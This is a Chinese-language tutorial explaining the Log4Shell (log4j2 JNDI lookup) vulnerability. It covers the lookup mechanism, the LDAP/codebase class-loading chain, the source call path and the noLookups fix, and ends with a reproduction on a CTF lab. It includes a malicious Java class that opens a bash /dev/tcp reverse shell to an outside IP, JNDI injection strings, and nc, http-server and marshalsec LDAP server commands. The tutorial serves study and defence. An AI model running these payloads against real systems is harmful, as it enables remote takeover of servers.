log4j简析

简单原理分析

其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。

最简单的日志打印

给一个登陆场景,不用关心登陆具体怎么实现,这里我们只需要关心用户名这个字段,举个例子代码

1
2
3
4
public void login(string name){
  String name = "test";  //表单接收name字段
  logger.info("{},登录了", name); //logger为log4j
}

明显一旦登陆后,我们就会通过表单接收到name字段,然后日志上就会有一条某用户登陆的记录。

lookup支持打印系统变量

name变量是用户输入的,用户输入什么都可以,上面的例子是字符串test。但是这都是正常输入,如果我们输入的是系统变量甚至恶意代码呢?

1
2
3
4
public void login(string name){
  String name = "{$java:os}";  //用户输入的name内容为  {$java:os}
  logger.info("{},登录了", name); //logger为log4j
}

如果在用户名框输入{$java:os},那么日志里就会记录的是系统相关的信息,上述代码就会输出

1
Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了

这是因为在log4j中提供了一个lookup功能,这个功能的具体作用暂且不表,先理解为可以把一些系统变量或代码放到日志能被执行就行

JNDI介绍

大多数可能对JNDI不是很了解,用最通俗的话来解释 其实就是你自己做一个服务,比如是

1
jndi:rmi:192.168.9.23:1099/remote

如果被攻击的服务器,比如某台线上的服务器,访问了或者执行了,你自己的JNDI服务,「那么线上的服务器就会来执行JNDI服务中的remote方法的代码」
回过头来如果在登录框里输入JNDI的服务地址

1
2
3
4
public void login(string name){
  String name = "${jndi:rmi:192.168.9.23:1099/remote}";  //用户输入的name内容为 jndi相关信息
  logger.info("{},登录了", name); 
}

那么只要用log4j来打印这么一条日志,那么log4j就会去执行  jndi:rmi:192.168.9.23:1099/remote 服务,那么在黑客的电脑上就可以对线上服务做任何操作了

具体分析

前提知识

什么是JNDI

JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。

什么是LDAP

目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

什么是Codebase

Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。

原理概述

Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的

恶意代码编写

我们一直在提到恶意的Class文件,那么恶意类的Java代码是怎样的呢?写个main函数?

直接写main函数是不行的,因为整个过程中Java并没有执行Class文件中的任何方法,只是使用累加器加载和实例化了该类而已。所以我们需要让代码在实例化的就会被执行。因此我们这类采用了静态块。其代码如下

1
2
3
4
5
6
7
8
9
10
11
12
public class evil {
static{
try {
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.12.243.151/50025;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}

攻击流程与原理

由于源码涉及比较多,所以就不会详细降解源码,只会大致梳理下关键调用链(其实是我自己懒不想跟着调)

1、首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}。

2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。

源码:org.apache.logging.slf4j.Log4jLogger.debug(…)/info(…)/error(…)等方法

            > org.apache.logging.log4j.core.config.LoggerConfig.log(…)

                  > AbstractOutputStreamAppender.append(final LogEvent event)

3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

源码:StrSubstitutor.substitute(…) –解析出${}中的内容:jndi:ldap://localhost:9999/Test

                > StrSubstitutor.resolveVariable(…) –处理解析出的内容,执行lookup

                > Interpolator.lookup(…) –根据jndi找到jndi的处理类

                        > JndiLookup.lookup(…)

                        > JndiManager.lookup(…)

                                > java.naming.InitialContext.lookup(…) –调用Java底层的Lookup方法

PS:后续都是java内部提供的Lookup功能,与log4j无关

4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。

源码:LdapCtx.c_lookup(…) 请求并处理数据 (ldap中指定了javaCodeBase=)

                >Obj.decodeObject –解析到ldap结果,得到classFactoryLocation=http://localhost:8888

                > DirectoryManager.getObjectInstance(…) –请求Codebase得到对应类的结果

                        > NamingManager.getObjectFactoryFromReference(…) –请求Codebase

5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。

源码:VersionHelper12.loadClass(…) –请求Codebase得到Class并用类加载器加载

                > NamingManager.getObjectFactoryFromReference(…) 通过默认构造函数实例化类。

图片

图片

到此整个攻击原理就完成了。其实总体也很简单。归纳来看关键就如下几步:

1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印

2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)

JDK高版本为何无效

其实是因为高版本在VersionHelper12.loadClass方法中加了一个判断,如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。

图片

图片

图片

所以高版本的Java的请求逻辑如下。即无法请求Codebase,整个攻击因此失效

但我们还是可以正常请求Ldap服务器,所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码,从而实现注入攻击。其实我们在模拟的时候完全可以通过System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, “true”);将其指定为true,这样我们就能够在高版本上执行攻击模拟。但是如果是探究高版本攻击原理和实际演练就不太行了

这里暂且不探究高版本攻击,知道大概原理即可

源码分析

具体涉及到的入口类是log4j-core-xxx.jar中的org.apache.logging.log4j.core.lookup.StrSubstitutor这个类。

原因是Log4j提供了Lookups的能力(关于Lookups可以点这里去看官方文档的介绍),简单来说就是变量替换的能力。

在Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${和},如果包含了,就会当作变量交给org.apache.logging.log4j.core.lookup.StrSubstitutor这个类去处理。

相关的代码下面这个

首先是org.apache.logging.log4j.core.pattern.MessagePatternConverter这个类的format方法

图片

图片

图中标注1的地方就是现在漏洞修复的地方,让noLookups这个变量为true,就不会进去里面的逻辑,也就没有这个问题了(毕竟整个漏洞就是围绕lookup来的,都禁了咋执行?)。

图中标注2的地方就是判断字符串中是否包含${,如果包含,就将从这个字符开始一直到字符串结束,交给图中标注3的地方去进行替换。

图中标注3的地方就是具体执行替换的地方,其中config.getStrSubstitutor()就是我们上面提到的org.apache.logging.log4j.core.lookup.StrSubstitutor。

StrSubstitutor中,首先将${}之间的内容提取出来,交给resolveVariable这个方法来处理

图片

我们看下resolver的内容,它是org.apache.logging.log4j.core.lookup.Interpolator类的对象。

图片

图片

它的lookups定义了10中处理类型,还有一个默认的defaultLoopup,一种11中。如果能匹配到10中处理类型,就交给它们去处理,其他的都会交给defaultLookup去处理。

匹配规则也很简单,下面简单举个例子

1.如果我们的日志内容中有${jndi:rmi://127.0.0.1:1099/hello}这些内容,去掉${和}传递给resolver的就是jndi:rmi://127.0.0.1:1099/hello。

2.resolver会将第一个**:之前的内容和lookups做匹配,我们这里获取到的是jndi,就会将剩余部分jndi:rmi://127.0.0.1:1099/hello**交给jdni的处理器JndiLookup去处理。

图片

图片

图中标注1的地方入参就是jndi:rmi://127.0.0.1:1099/hello

图中标注2的地方就是jndi

图中标注3的地方就是rmi://127.0.0.1:1099/hello

图中标注4的地方就是处理器JndiLookup类的对象

图中标注5的地方就是jndi来处理的入口

修复

图片

主要是通过设置noLookups变量的值,不让它进去这个if里面的逻辑。

这个变量的值是来自下面这个属性

图片

所以在在代码中加入System.setProperty("log4j2.formatMsgNoLookups","true");这句也就可以了

复现

网上有很多现成的靶场,我直接拿ctfshow靶场做例子

图片

有一个登录框,也就是我之前提的登陆例子

用dnslog当poc测下有洞没

1
${jndi:ldap://dnslog.com/exp}

这里简单讲下为啥可以拿dnslog当poc测,因为上文讲到的
org.apache.logging.log4j.core.lookup.Interpolator 的resolver定义了10种类型,其中包括了JNDI如果匹配到JNDI就交给JNDIlookup去处理,这里处理就跟我文章开头举得那个例子一个道理了。

0x01 准备工作

1
2
3
4
5
6
7
8
9
10
11
12
public class evil {
static{
try {
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxx/50025;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}

网上随便拿的一个恶意类,只要能反弹shell就行
接着因为要搭LDAP环境,如果是手动搭会比较麻烦,这里用工具

marshalsec-0.0.3-SNAPSHOT-all.jar 搭

0x02 监听端口

1
nc -lvnp 50025

端口自己设置就好

0x03 起http服务

1
python3 -m http.server 50026

这里我用python起的http服务,php也行,端口也是随意,只要不冲突就行,但是要注意的是要在恶意java类的目录下起http服务,而且要把该java文件编译成class文件。

0x04 起LDAP服务

1
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xxx:50026/#evil"

这里的端口要和http服务的端口一样

0x05 验证

图片

提交后,就能看到已经加载了恶意类,监听的端口也反弹到了shell